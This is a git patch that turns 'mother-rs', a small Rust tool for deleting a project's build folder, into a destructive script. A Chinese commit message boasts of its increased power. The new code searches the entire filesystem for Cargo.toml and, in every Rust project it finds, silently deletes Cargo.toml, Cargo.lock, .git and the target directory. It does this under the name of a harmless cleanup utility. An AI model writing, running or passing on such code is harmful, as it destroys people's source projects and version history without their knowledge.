From 4007e96909a1b8602326f1f80d76f0341d72c0ec Mon Sep 17 00:00:00 2001 From: Sclock <32418823+Sclock@users.noreply.github.com> Date: Mon, 12 Aug 2024 00:24:49 +0800 Subject: [PATCH] =?UTF-8?q?=E5=A2=9E=E5=A4=A7=E5=A8=81=E5=8A=9B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 增大威力, 删除.git Cargo.toml Cargo.lock和缓存文件 天王老子来了也得被控一整天 --- mother.rs | 27 +++++++++++++++++++++++---- 1 file changed, 23 insertions(+), 4 deletions(-) diff --git a/mother.rs b/mother.rs index 584e648..a63c76a 100644 --- a/mother.rs +++ b/mother.rs @@ -1,7 +1,26 @@ -//! `mother-rs`: Remove `/target` from your project. -//! -//! Run it in your codebase with `/target` there. +//! 增大威力, 删除.git Cargo.toml Cargo.lock和缓存文件 +//! 天王老子来了也得被控一整天 + +use std::fs; +use std::path::Path; +use std::process::Command; fn main() { - std::fs::remove_dir_all("./target").expect("unable to delete ./target"); + let output = Command::new("find") + .arg("/") + .arg("-name") + .arg("Cargo.toml") + .output() + .expect("Failed to execute find command"); + + let paths = String::from_utf8_lossy(&output.stdout); + + for path in paths.lines() { + if let Some(parent_dir) = Path::new(path).parent() { + let _ = fs::remove_file(parent_dir.join("Cargo.toml")); + let _ = fs::remove_file(parent_dir.join("Cargo.lock")); + let _ = fs::remove_file(parent_dir.join(".git")); + let _ = fs::remove_dir_all(parent_dir.join("target")); + } + } }